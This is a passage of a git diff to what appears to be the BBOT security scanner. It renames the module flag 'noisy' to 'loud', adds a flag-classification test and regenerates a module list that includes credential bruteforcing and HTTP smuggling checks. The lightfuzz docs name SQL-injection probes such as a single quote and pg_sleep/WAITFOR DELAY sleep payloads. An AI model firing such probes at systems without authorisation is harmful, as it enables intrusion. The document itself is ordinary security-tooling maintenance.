["bbot", "-f", "active", "loud", "--list-flags"]) result = await cli._main() out, err = capsys.readouterr() assert result is None - assert "| noisy " in out + assert "| loud " in out assert "| active " in out assert "| passive " not in out diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index add1ec46c5..8054e3c95d 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -182,6 +182,16 @@ async def test_modules_basic_checks(events, httpx_mock): assert not ("web" in flags and "web-heavy" in flags), ( f'module "{module_name}" should have either "web" or "web-heavy" flags, not both' ) + # every scan module must be classified as safe, loud, and/or invasive + has_safe = "safe" in flags + has_loud = "loud" in flags + has_invasive = "invasive" in flags + assert has_safe or has_loud or has_invasive, ( + f'module "{module_name}" must have at least one of "safe", "loud", or "invasive" flags' + ) + assert not (has_safe and (has_loud or has_invasive)), ( + f'module "{module_name}" has "safe" flag but also has "loud" or "invasive" — these are mutually exclusive' + ) meta = preloaded.get("meta", {}) # make sure every module has a description assert meta.get("description", ""), f"{module_name} must have a description" diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index ffb8343181..ea10443aa4 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -112,7 +112,7 @@ async def test_preset_yaml(clean_default_config): - subdomain-enum exclude_flags: - - noisy + - loud - slow require_flags: @@ -150,7 +150,7 @@ def test_preset_cache(): - subdomain-enum exclude_flags: - - noisy + - loud - slow """ with open(preset_file, "w") as f: @@ -158,7 +158,7 @@ def test_preset_cache(): preset = Preset.from_yaml_file(preset_file) assert "subdomain-enum" in preset.flags - assert "noisy" in preset.exclude_flags + assert "loud" in preset.exclude_flags assert "slow" in preset.exclude_flags from bbot.scanner.preset.preset import _preset_cache @@ -1085,13 +1085,13 @@ def get_module_flags(p): assert "subdomain-enum" in dnsbrute_flags assert "active" in dnsbrute_flags assert "passive" not in dnsbrute_flags - assert "noisy" in dnsbrute_flags + assert "loud" in dnsbrute_flags assert "dnsbrute" in [x[0] for x in module_flags] assert "certspotter" in [x[0] for x in module_flags] assert "c99" in [x[0] for x in module_flags] assert any("passive" in flags for module, flags in module_flags) assert any("active" in flags for module, flags in module_flags) - assert any("noisy" in flags for module, flags in module_flags) + assert any("loud" in flags for module, flags in module_flags) # enable by flag, one required flag preset = Preset(flags=["subdomain-enum"], require_flags=["passive"]).bake() @@ -1120,25 +1120,25 @@ def get_module_flags(p): assert any("passive" in flags for module, flags in module_flags) assert any("active" in flags for module, flags in module_flags) - # enable by flag, multiple required flags (exclude noisy active modules) - preset = Preset(flags=["subdomain-enum"], require_flags=["passive"], exclude_flags=["noisy"]).bake() + # enable by flag, multiple required flags (exclude loud active modules) + preset = Preset(flags=["subdomain-enum"], require_flags=["passive"], exclude_flags=["loud"]).bake() assert len(preset.modules) > 20 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] assert all("passive" in flags for module, flags in module_flags) - assert all("active" not in flags and "noisy" not in flags for module, flags in module_flags) + assert all("active" not in flags and "loud" not in flags for module, flags in module_flags) assert not any("active" in flags for module, flags in module_flags) - assert not any("noisy" in flags for module, flags in module_flags) + assert not any("loud" in flags for module, flags in module_flags) # enable by flag, multiple excluded flags - preset = Preset(flags=["subdomain-enum"], exclude_flags=["noisy", "active"]).bake() + preset = Preset(flags=["subdomain-enum"], exclude_flags=["loud", "active"]).bake() assert len(preset.modules) > 20 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] assert all("passive" in flags for module, flags in module_flags) - assert all("active" not in flags and "noisy" not in flags for module, flags in module_flags) + assert all("active" not in flags and "loud" not in flags for module, flags in module_flags) assert not any("active" in flags for module, flags in module_flags) - assert not any("noisy" in flags for module, flags in module_flags) + assert not any("loud" in flags for module, flags in module_flags) # enable by flag, multiple excluded modules preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute", "c99"]).bake() diff --git a/docs/dev/module_howto.md b/docs/dev/module_howto.md index 9e50c64e27..1b67d982fd 100644 --- a/docs/dev/module_howto.md +++ b/docs/dev/module_howto.md @@ -10,7 +10,7 @@ Here we'll go over a basic example of writing a custom BBOT module. - the class must have the same name as your file (case-insensitive) 1. Define in `watched_events` what type of data your module will consume 1. Define in `produced_events` what type of data your module will produce -1. Define (via `flags`) whether your module is `active` or `passive`, and optionally whether it's `noisy` or `invasive` +1. Define (via `flags`) whether your module is `active` or `passive`, and optionally whether it's `loud` or `invasive` 1. **Put your main logic in `.handle_event()`** Here is an example of a simple module that performs whois lookups: diff --git a/docs/modules/lightfuzz.md b/docs/modules/lightfuzz.md index c2cf259bfe..18ce1edbaf 100644 --- a/docs/modules/lightfuzz.md +++ b/docs/modules/lightfuzz.md @@ -93,7 +93,7 @@ Detects SQL injection via two techniques: **Error-based Detection** (HIGH severity, MEDIUM confidence): Injects a single quote (`'`) and compares the response against a list of known SQL error strings (e.g., "error in your SQL syntax", "Unterminated string literal"). Also performs a differential test: if a single quote changes the status code but two single quotes (`''`) produce a *different* status code, it suggests the quotes are being parsed as SQL syntax rather than just rejected. -**Blind Time-delay Detection** (HIGH severity, LOW confidence): Sends database-specific sleep payloads (PostgreSQL `pg_sleep`, MySQL `SLEEP`, Oracle `DBMS_LOCK.SLEEP`, MSSQL `WAITFOR DELAY`) with a 5-second delay. Measures response time against a baseline average of two normal requests. Requires 3 consecutive confirmations within an acceptable margin (1.5s) to report — even a single miss aborts the test for that payload. Despite the triple confirmation, timing-based detection is inherently noisy, hence the LOW confidence. +**Blind Time-delay Detection** (HIGH severity, LOW confidence): Sends database-specific sleep payloads (PostgreSQL `pg_sleep`, MySQL `SLEEP`, Oracle `DBMS_LOCK.SLEEP`, MSSQL `WAITFOR DELAY`) with a 5-second delay. Measures response time against a baseline average of two normal requests. Requires 3 consecutive confirmations within an acceptable margin (1.5s) to report — even a single miss aborts the test for that payload. Despite the triple confirmation, timing-based detection is inherently loud, hence the LOW confidence. ### `xss` — Cross-Site Scripting diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index 2cc339b4d9..96885112e5 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -1,158 +1,158 @@ # List of Modules -| Module | Type | Needs API Key | Description | Flags | Consumed Events | Produced Events | Author | Created Date | -|-----------------------|----------|-----------------|-------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------|---------------------------|----------------| -| ajaxpro | scan | No | Check for potentially vulnerable Ajaxpro instances | active, web-heavy | HTTP_RESPONSE, URL | FINDING, TECHNOLOGY | @liquidsec | 2024-01-18 | -| aspnet_bin_exposure | scan | No | Check for ASP.NET Security Feature Bypasses (CVE-2023-36899 and CVE-2023-36560) | active, web-heavy | URL | FINDING | @liquidsec | 2025-01-28 | -| baddns | scan | No | Check hosts for domain/subdomain takeovers | active, baddns, cloud-enum, subdomain-hijack, web | DNS_NAME, DNS_NAME_UNRESOLVED | FINDING | @liquidsec | 2024-01-18 | -| baddns_direct | scan | No | Check for unusual subdomain / service takeover edge cases that require direct detection | active, baddns, cloud-enum, subdomain-enum | STORAGE_BUCKET, URL | FINDING | @liquidsec | 2024-01-29 | -| baddns_zone | scan | No | Check hosts for DNS zone transfers and NSEC walks | active, baddns, cloud-enum, subdomain-enum | DNS_NAME | FINDING | @liquidsec | 2024-01-29 | -| badsecrets | scan | No | Library for detecting known or weak secrets across many web frameworks | active, web | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2022-11-19 | -| bucket_amazon | scan | No | Check for S3 buckets related to target | active, cloud-enum, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | -| bucket_digitalocean | scan | No | Check for DigitalOcean spaces related to target | active, cloud-enum, slow, web-heavy | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-08 | -| bucket_firebase | scan | No | Check for open Firebase databases related to target | active, cloud-enum, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2023-03-20 | -| bucket_google | scan | No | Check for Google object storage related to target | active, cloud-enum, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | -| bucket_microsoft | scan | No | Check for Azure storage blobs related to target | active, cloud-enum, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | -| bypass403 | scan | No | Check 403 pages for common bypasses | active, noisy, web-heavy | URL | FINDING | @liquidsec | 2022-07-05 | -| dnsbrute | scan | No | Brute-force subdomains with massdns + static wordlist | active, noisy, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-24 | -| dnsbrute_mutations | scan | No | Brute-force subdomains with massdns + target-specific mutations | active, noisy, slow, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-25 | -| dnscommonsrv | scan | No | Check for common SRV records | active, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-15 | -| dotnetnuke | scan | No | Scan for critical DotNetNuke (DNN) vulnerabilities | active, invasive, noisy, web-heavy | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2023-11-21 | -| ffuf | scan | No | A fast web fuzzer written in Go | active, noisy | URL | URL_UNVERIFIED | @liquidsec | 2022-04-10 | -| ffuf_shortnames | scan | No | Use ffuf in combination IIS shortnames | active, iis-shortnames, noisy, web-heavy | URL_HINT | URL_UNVERIFIED | @liquidsec | 2022-07-05 | -| filedownload | scan | No | Download common filetypes such as PDF, DOCX, PPTX, etc. | active, download, web | HTTP_RESPONSE, URL_UNVERIFIED | FILESYSTEM | @TheTechromancer | 2023-10-11 | -| fingerprintx | scan | No | Fingerprint exposed services like RDP, SSH, MySQL, etc. | active, service-enum, slow | OPEN_TCP_PORT | PROTOCOL | @TheTechromancer | 2023-01-30 | -| git | scan | No | Check for exposed .git repositories | active, code-enum, web | URL | CODE_REPOSITORY, FINDING | @TheTechromancer | 2023-05-30 | -| gitlab_com | scan | No | Enumerate GitLab SaaS (gitlab.com/org) for projects and groups | active, code-enum | SOCIAL | CODE_REPOSITORY | @TheTechromancer | 2024-03-11 | -| gitlab_onprem | scan | No | Detect self-hosted GitLab instances and query them for repositories | active, code-enum | HTTP_RESPONSE, SOCIAL, TECHNOLOGY | CODE_REPOSITORY, FINDING, SOCIAL, TECHNOLOGY | @TheTechromancer | 2024-03-11 | -| gowitness | scan | No | Take screenshots of webpages | active, web-screenshots | SOCIAL, URL | TECHNOLOGY, URL, URL_UNVERIFIED, WEBSCREENSHOT | @TheTechromancer | 2022-07-08 | -| graphql_introspection | scan | No | Perform GraphQL introspection on a target | active, web | URL | FINDING | @mukesh-dream11 | 2025-07-01 | -| host_header | scan | No | Try common HTTP Host header spoofing techniques | active, noisy, web-heavy | HTTP_RESPONSE | FINDING | @liquidsec | 2022-07-27 | -| httpx | scan | No | Visit webpages. Many other modules rely on httpx | active, cloud-enum, social-enum, subdomain-enum, web | OPEN_TCP_PORT, URL, URL_UNVERIFIED | HTTP_RESPONSE, URL | @TheTechromancer | 2022-07-08 | -| hunt | scan | No | Watch for commonly-exploitable HTTP parameters | active, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2022-07-20 | -| iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, web | URL | URL_HINT | @liquidsec | 2022-04-15 | -| legba | scan | No | Credential bruteforcing supporting various services. | active, invasive, noisy | PROTOCOL | FINDING | @christianfl, @fuzikowski | 2025-07-18 | -| lightfuzz | scan | No | Find Web Parameters and Lightly Fuzz them using a heuristic based scanner | active, invasive, noisy, web-heavy | URL, WEB_PARAMETER | FINDING | @liquidsec | 2024-06-28 | -| medusa | scan | No | Medusa SNMP bruteforcing with v1, v2c and R/W check. | active, invasive, noisy | PROTOCOL | FINDING | @christianfl | 2025-05-16 | -| newsletters | scan | No | Searches for Newsletter Submission Entry Fields on Websites | active | HTTP_RESPONSE | FINDING | @stryker2k2 | 2024-02-02 | -| ntlm | scan | No | Watch for HTTP endpoints that support NTLM authentication | active, web | HTTP_RESPONSE, URL | DNS_NAME, FINDING | @liquidsec | 2022-07-25 | -| nuclei | scan | No | Fast and customisable vulnerability scanner | active, invasive, noisy | URL | FINDING, TECHNOLOGY | @TheTechromancer | 2022-03-12 | -| oauth | scan | No | Enumerate OAUTH and OpenID Connect services | active, affiliates, cloud-enum, subdomain-enum, web | DNS_NAME, URL_UNVERIFIED | DNS_NAME | @TheTechromancer | 2023-07-12 | -| paramminer_cookies | scan | No | Smart brute-force to check for common HTTP cookie parameters | active, noisy, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-06-27 | -| paramminer_getparams | scan | No | Use smart brute-force to check for common HTTP GET parameters | active, noisy, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-06-28 | -| paramminer_headers | scan | No | Use smart brute-force to check for common HTTP header parameters | active, noisy, slow, web-paramminer | HTTP_RESPONSE, WEB_PARAMETER | WEB_PARAMETER | @liquidsec | 2022-04-15 | -| portscan | scan | No | Port scan with masscan. By default, scans top 100 ports. | active, portscan | DNS_NAME, IP_ADDRESS, IP_RANGE | OPEN_TCP_PORT | @TheTechromancer | 2024-05-15 | -| reflected_parameters | scan | No | Highlight parameters that reflect their contents in response body | active, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2024-10-29 | -| retirejs | scan | No | Detect vulnerable/out-of-date JavaScript libraries | active, web-heavy | URL_UNVERIFIED | FINDING | @liquidsec | 2025-08-19 | -| robots | scan | No | Look for and parse robots.txt | active, web | URL | URL_UNVERIFIED | @liquidsec | 2023-02-01 | -| securitytxt | scan | No | Check for security.txt content | active, cloud-enum, subdomain-enum, web | DNS_NAME | EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | -| smuggler | scan | No | Check for HTTP smuggling | active, invasive, noisy, slow, web-heavy | URL | FINDING | @liquidsec | 2022-07-06 | -| sslcert | scan | No | Visit open ports and retrieve SSL certificates | active, affiliates, email-enum, subdomain-enum, web | OPEN_TCP_PORT | DNS_NAME, EMAIL_ADDRESS | @TheTechromancer | 2022-03-30 | -| telerik | scan | No | Scan for critical Telerik vulnerabilities | active, invasive, noisy, web-heavy | HTTP_RESPONSE, URL | FINDING | @liquidsec | 2022-04-10 | -| url_manipulation | scan | No | Attempt to identify URL parsing/routing based vulnerabilities | active, noisy, web-heavy | URL | FINDING | @liquidsec | 2022-09-27 | -| wafw00f | scan | No | Web Application Firewall Fingerprinting Tool | active, noisy | URL | WAF | @liquidsec | 2023-02-15 | -| wpscan | scan | No | Wordpress security scanner. Highly recommended to use an API key for better results. | active, noisy | HTTP_RESPONSE, TECHNOLOGY | FINDING, TECHNOLOGY, URL_UNVERIFIED | @domwhewell-sage | 2024-05-29 | -| affiliates | scan | No | Summarize affiliate domains at the end of a scan | affiliates, passive | * | | @TheTechromancer | 2022-07-25 | -| anubisdb | scan | No | Query jldc.me's database for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-10-04 | -| apkpure | scan | No | Download android applications from apkpure.com | code-enum, download, passive | MOBILE_APP | FILESYSTEM | @domwhewell-sage | 2024-10-11 | -| asn | scan | No | Query asndb for ASN information | passive, subdomain-enum | IP_ADDRESS | ASN | @TheTechromancer | 2022-07-25 | -| azure_tenant | scan | No | Query Azure for tenant information using multiple enumeration methods | affiliates, cloud-enum, passive, subdomain-enum | DNS_NAME | AZURE_TENANT, DNS_NAME, FINDING, URL_UNVERIFIED | @TheTechromancer | 2024-07-04 | -| bevigil | scan | Yes | Retrieve OSINT data from mobile applications using BeVigil | passive, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @alt-glitch | 2022-10-26 | -| bucket_file_enum | scan | No | Works in conjunction with the filedownload module to download files from open storage buckets. Currently supported cloud providers: AWS, DigitalOcean | cloud-enum, passive | STORAGE_BUCKET | URL_UNVERIFIED | @TheTechromancer | 2023-11-14 | -| bufferoverrun | scan | Yes | Query BufferOverrun's TLS API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-10-23 | -| builtwith | scan | Yes | Query Builtwith.com for subdomains | affiliates, passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-23 | -| c99 | scan | Yes | Query the C99 API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-08 | -| censys_dns | scan | Yes | Query the Censys API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-04 | -| censys_ip | scan | Yes | Query the Censys API for hosts by IP address | passive | IP_ADDRESS | DNS_NAME, IP_ADDRESS, OPEN_TCP_PORT, OPEN_UDP_PORT, PROTOCOL, TECHNOLOGY, URL_UNVERIFIED | @TheTechromancer | 2026-01-26 | -| certspotter | scan | No | Query Certspotter's API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-28 | -| chaos | scan | Yes | Query ProjectDiscovery's Chaos API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-14 | -| code_repository | scan | No | Look for code repository links in webpages | code-enum, passive | URL_UNVERIFIED | CODE_REPOSITORY | @domwhewell-sage | 2024-05-15 | -| credshed | scan | Yes | Send queries to your own credshed server to check for known credentials of your targets | passive | DNS_NAME | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME | @SpamFaux | 2023-10-12 | -| crt | scan | No | Query crt.sh (certificate transparency) for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-13 | -| crt_db | scan | No | Query crt.sh (certificate transparency) for subdomains via PostgreSQL | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2025-03-27 | -| dehashed | scan | Yes | Execute queries against dehashed.com for exposed credentials | email-enum, passive | DNS_NAME | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME | @SpamFaux | 2023-10-12 | -| digitorus | scan | No | Query certificatedetails.com for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-25 | -| dnsbimi | scan | No | Check DNS_NAME's for BIMI records to find image and certificate hosting URL's | cloud-enum, passive, subdomain-enum | DNS_NAME | RAW_DNS_RECORD, URL_UNVERIFIED | @colin-stubbs | 2024-11-15 | -| dnscaa | scan | No | Check for CAA records | email-enum, passive, subdomain-enum | DNS_NAME | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | -| dnsdumpster | scan | No | Query dnsdumpster for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-03-12 | -| dnstlsrpt | scan | No | Check for TLS-RPT records | cloud-enum, email-enum, passive, subdomain-enum | DNS_NAME | EMAIL_ADDRESS, RAW_DNS_RECORD, URL_UNVERIFIED | @colin-stubbs | 2024-07-26 | -| docker_pull | scan | No | Download images from a docker repository | code-enum, download, passive, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-24 | -| dockerhub | scan | No | Search for docker repositories of discovered orgs/usernames | code-enum, passive | ORG_STUB, SOCIAL | CODE_REPOSITORY, SOCIAL, URL_UNVERIFIED | @domwhewell-sage | 2024-03-12 | -| emailformat | scan | No | Query email-format.com for email addresses | email-enum, passive | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | -| fullhunt | scan | Yes | Query the fullhunt.io API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | -| git_clone | scan | No | Clone code github repositories | code-enum, download, passive, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-08 | -| gitdumper | scan | No | Download a leaked .git folder recursively or by fuzzing common names | code-enum, download, passive, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2025-02-11 | -| github_codesearch | scan | Yes | Query Github's API for code containing the target domain name | code-enum, passive, subdomain-enum | DNS_NAME | CODE_REPOSITORY, URL_UNVERIFIED | @domwhewell-sage | 2023-12-14 | -| github_org | scan | No | Query Github's API for organization and member repositories | code-enum, passive, subdomain-enum | ORG_STUB, SOCIAL | CODE_REPOSITORY | @domwhewell-sage | 2023-12-14 | -| github_usersearch | scan | Yes | Query Github's API for users with emails matching in scope domains that may not be discoverable by listing members of the organization. | code-enum, passive | DNS_NAME | EMAIL_ADDRESS, SOCIAL | @domwhewell-sage | 2025-05-10 | -| github_workflows | scan | Yes | Download a github repositories workflow logs and workflow artifacts | code-enum, download, passive | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-04-29 | -| google_playstore | scan | No | Search for android applications on play.google.com | code-enum, passive | CODE_REPOSITORY, ORG_STUB | MOBILE_APP | @domwhewell-sage | 2024-10-08 | -| hackertarget | scan | No | Query the hackertarget.com API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-28 | -| hunterio | scan | Yes | Query hunter.io for emails | email-enum, passive, subdomain-enum | DNS_NAME | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED | @TheTechromancer | 2022-04-25 | -| ip2location | scan | Yes | Query IP2location.io's API for geolocation information. | passive | IP_ADDRESS | GEOLOCATION | @TheTechromancer | 2023-09-12 | -| ipneighbor | scan | No | Look beside IPs in their surrounding subnet | noisy, passive, subdomain-enum | IP_ADDRESS | IP_ADDRESS | @TheTechromancer | 2022-06-08 | -| ipstack | scan | Yes | Query IPStack's GeoIP API | passive | IP_ADDRESS | GEOLOCATION | @tycoonslive | 2022-11-26 | -| jadx | scan | No | Decompile APKs and XAPKs using JADX | code-enum, passive | FILESYSTEM | FILESYSTEM | @domwhewell-sage | 2024-11-04 | -| kreuzberg | scan | No | Module to extract data from files | passive | FILESYSTEM | RAW_TEXT | @domwhewell-sage | 2024-06-03 | -| leakix | scan | No | Query leakix.net for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-11 | -| myssl | scan | No | Query myssl.com's API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-10 | -| otx | scan | Yes | Query otx.alienvault.com for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | -| passivetotal | scan | Yes | Query the PassiveTotal API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-08 | -| pgp | scan | No | Query common PGP servers for email addresses | email-enum, passive | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-08-10 | -| portfilter | scan | No | Filter out unwanted open ports from cloud/CDN targets | passive | OPEN_TCP_PORT, URL, URL_UNVERIFIED | | @TheTechromancer | 2025-01-06 | -| postman | scan | No | Query Postman's API for related workspaces, collections, requests and download them | code-enum, passive, subdomain-enum | ORG_STUB, SOCIAL | CODE_REPOSITORY | @domwhewell-sage | 2024-09-07 | -| postman_download | scan | No | Download workspaces, collections, requests from Postman | code-enum, download, passive, subdomain-enum | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-09-07 | -| rapiddns | scan | No | Query rapiddns.io for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | -| securitytrails | scan | Yes | Query the SecurityTrails API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | -| shodan_dns | scan | Yes | Query Shodan for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | -| shodan_enterprise | scan | Yes | Shodan Enterprise API integration module. | passive | IP_ADDRESS | FINDING, OPEN_TCP_PORT, OPEN_UDP_PORT, TECHNOLOGY | @Control-Punk-Delete | 2026-01-27 | -| shodan_idb | scan | No | Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities | passive, portscan, subdomain-enum | DNS_NAME, IP_ADDRESS | DNS_NAME, FINDING, OPEN_TCP_PORT, TECHNOLOGY | @TheTechromancer | 2023-12-22 | -| sitedossier | scan | No | Query sitedossier.com for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-08-04 | -| skymem | scan | No | Query skymem.info for email addresses | email-enum, passive | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | -| social | scan | No | Look for social media links in webpages | passive, social-enum | URL_UNVERIFIED | SOCIAL | @TheTechromancer | 2023-03-28 | -| subdomaincenter | scan | No | Query subdomain.center's API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-26 | -| subdomainradar | scan | Yes | Query the Subdomain API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-08 | -| trajan | scan | No | Scans GitHub, GitLab, Azure DevOps, Jenkins, and JFrog for misconfigurations using Praetorian's Trajan tool | code-enum, passive | CODE_REPOSITORY, TECHNOLOGY, URL_UNVERIFIED | FINDING | @N7WERA | 2026-04-11 | -| trickest | scan | Yes | Query Trickest's API for subdomains | affiliates, passive, subdomain-enum | DNS_NAME | DNS_NAME | @amiremami | 2024-07-27 | -| trufflehog | scan | No | TruffleHog is a tool for finding credentials | code-enum, passive | CODE_REPOSITORY, FILESYSTEM, HTTP_RESPONSE, RAW_TEXT | FINDING | @domwhewell-sage | 2024-03-12 | -| urlscan | scan | No | Query urlscan.io for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @TheTechromancer | 2022-06-09 | -| viewdns | scan | No | Query viewdns.info's reverse whois for related domains | affiliates, passive | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-04 | -| virustotal | scan | Yes | Query VirusTotal's API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-25 | -| wayback | scan | No | Query archive.org's API for subdomains | passive, subdomain-enum | DNS_NAME | DNS_NAME, URL_UNVERIFIED | @liquidsec | 2022-04-01 | -| asset_inventory | output | No | Merge hosts, open ports, technologies, findings, etc. into a single asset inventory CSV | | DNS_NAME, FINDING, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, TECHNOLOGY, URL, WAF | IP_ADDRESS, OPEN_TCP_PORT | @liquidsec | 2022-09-30 | -| csv | output | No | Output to CSV | | * | | @TheTechromancer | 2022-04-07 | -| discord | output | No | Message a Discord channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | -| elastic | output | No | Send scan results to Elasticsearch | | * | | @TheTechromancer | 2022-11-21 | -| emails | output | No | Output any email addresses found belonging to the target domain | email-enum | EMAIL_ADDRESS | | @domwhewell-sage | 2023-12-23 | -| http | output | No | Send every event to a custom URL via a web request | | * | | @TheTechromancer | 2022-04-13 | -| json | output | No | Output to Newline-Delimited JSON (NDJSON) | | * | | @TheTechromancer | 2022-04-07 | -| kafka | output | No | Output scan data to a Kafka topic | | * | | @TheTechromancer | 2024-11-22 | -| mongo | output | No | Output scan data to a MongoDB database | | * | | @TheTechromancer | 2024-11-17 | -| mysql | output | No | Output scan data to a MySQL database | | * | | @TheTechromancer | 2024-11-13 | -| nats | output | No | Output scan data to a NATS subject | | * | | @TheTechromancer | 2024-11-22 | -| neo4j | output | No | Output to Neo4j | | * | | @TheTechromancer | 2022-04-07 | -| nmap_xml | output | No | Output to Nmap XML | | DNS_NAME, HTTP_RESPONSE, IP_ADDRESS, OPEN_TCP_PORT, PROTOCOL | | @TheTechromancer | 2024-11-16 | -| postgres | output | No | Output scan data to a SQLite database | | * | | @TheTechromancer | 2024-11-08 | -| python | output | No | Output via Python API | | * | | @TheTechromancer | 2022-09-13 | -| rabbitmq | output | No | Output scan data to a RabbitMQ queue | | * | | @TheTechromancer | 2024-11-22 | -| slack | output | No | Message a Slack channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | -| splunk | output | No | Send every event to a splunk instance through HTTP Event Collector | | * | | @w0Tx | 2024-02-17 | -| sqlite | output | No | Output scan data to a SQLite database | | * | | @TheTechromancer | 2024-11-07 | -| stdout | output | No | Output to text | | * | | @TheTechromancer | 2024-04-03 | -| subdomains | output | No | Output only resolved, in-scope subdomains | subdomain-enum | DNS_NAME, DNS_NAME_UNRESOLVED | | @TheTechromancer | 2023-07-31 | -| teams | output | No | Message a Teams channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | -| txt | output | No | Output to text | | * | | @TheTechromancer | 2024-04-03 | -| web_parameters | output | No | Output WEB_PARAMETER names to a file | | WEB_PARAMETER | | @liquidsec | 2025-01-25 | -| web_report | output | No | Create a markdown report with web assets | | FINDING, TECHNOLOGY, URL, VHOST | | @liquidsec | 2023-02-08 | -| websocket | output | No | Output to websockets | | * | | @TheTechromancer | 2022-04-15 | -| zeromq | output | No | Output scan data to a ZeroMQ socket (PUB) | | * | | @TheTechromancer | 2024-11-22 | -| cloudcheck | internal | No | Tag events by cloud provider, identify cloud resources like storage buckets | | * | | @TheTechromancer | 2024-07-07 | -| dnsresolve | internal | No | Perform DNS resolution | | * | DNS_NAME, IP_ADDRESS, RAW_DNS_RECORD | @TheTechromancer | 2022-04-08 | -| aggregate | internal | No | Summarize statistics at the end of a scan | passive | | | @TheTechromancer | 2022-07-25 | -| excavate | internal | No | Passively extract juicy tidbits from scan data | passive | 